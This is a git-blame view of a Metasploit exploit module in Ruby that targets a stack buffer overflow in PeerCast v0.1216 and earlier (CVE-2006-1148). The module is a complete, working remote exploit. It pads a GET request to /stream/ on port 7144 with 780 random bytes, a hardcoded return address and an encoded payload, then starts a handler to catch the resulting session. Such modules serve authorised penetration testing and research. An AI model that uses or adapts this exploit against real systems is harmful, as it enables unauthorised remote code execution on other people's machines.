Files
metasploit-gs/modules/exploits/linux/http/peercast_url.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

71 lines
1.7 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2009-12-06 05:50:37 +00:00
Rank = AverageRanking
2006-03-30 21:05:42 +00:00
include Msf::Exploit::Remote::Tcp
2006-03-30 21:05:42 +00:00
def initialize(info = {})
2025-06-20 13:20:44 +01:00
super(
update_info(
info,
'Name' => 'PeerCast URL Handling Buffer Overflow',
'Description' => %q{
2010-05-09 17:45:00 +00:00
This module exploits a stack buffer overflow in PeerCast <= v0.1216.
2025-06-20 13:20:44 +01:00
The vulnerability is caused due to a boundary error within the
handling of URL parameters.
},
'Author' => [ 'MC' ],
'License' => BSD_LICENSE,
'References' => [
2009-07-16 16:02:24 +00:00
['CVE', '2006-1148'],
['OSVDB', '23777'],
2015-10-27 12:41:32 -05:00
['BID', '17040']
2006-03-30 21:05:42 +00:00
],
2025-06-20 13:20:44 +01:00
'Privileged' => false,
'Payload' => {
'Space' => 200,
2006-03-30 21:05:42 +00:00
'BadChars' => "\x00\x0a\x0d\x20\x0d\x2f\x3d\x3b",
2025-06-20 13:20:44 +01:00
'MinNops' => 64,
2006-03-30 21:05:42 +00:00
},
2025-06-20 13:20:44 +01:00
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Targets' => [
2006-03-30 21:05:42 +00:00
['PeerCast v0.1212 Binary', { 'Ret' => 0x080922f7 }],
],
'DisclosureDate' => '2006-03-08',
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
register_options([
Opt::RPORT(7144)
])
2006-03-30 21:05:42 +00:00
end
def exploit
connect
pat = rand_text_alphanumeric(780)
2006-03-30 21:05:42 +00:00
pat << [target.ret].pack('V')
pat << payload.encoded
uri = '/stream/?' + pat
2006-03-30 21:05:42 +00:00
res = "GET #{uri} HTTP/1.0\r\n\r\n"
2006-03-30 21:05:42 +00:00
print_status("Trying target address 0x%.8x..." % target.ret)
sock.put(res)
2006-03-30 21:05:42 +00:00
handler
disconnect
end
2009-07-16 16:02:24 +00:00
end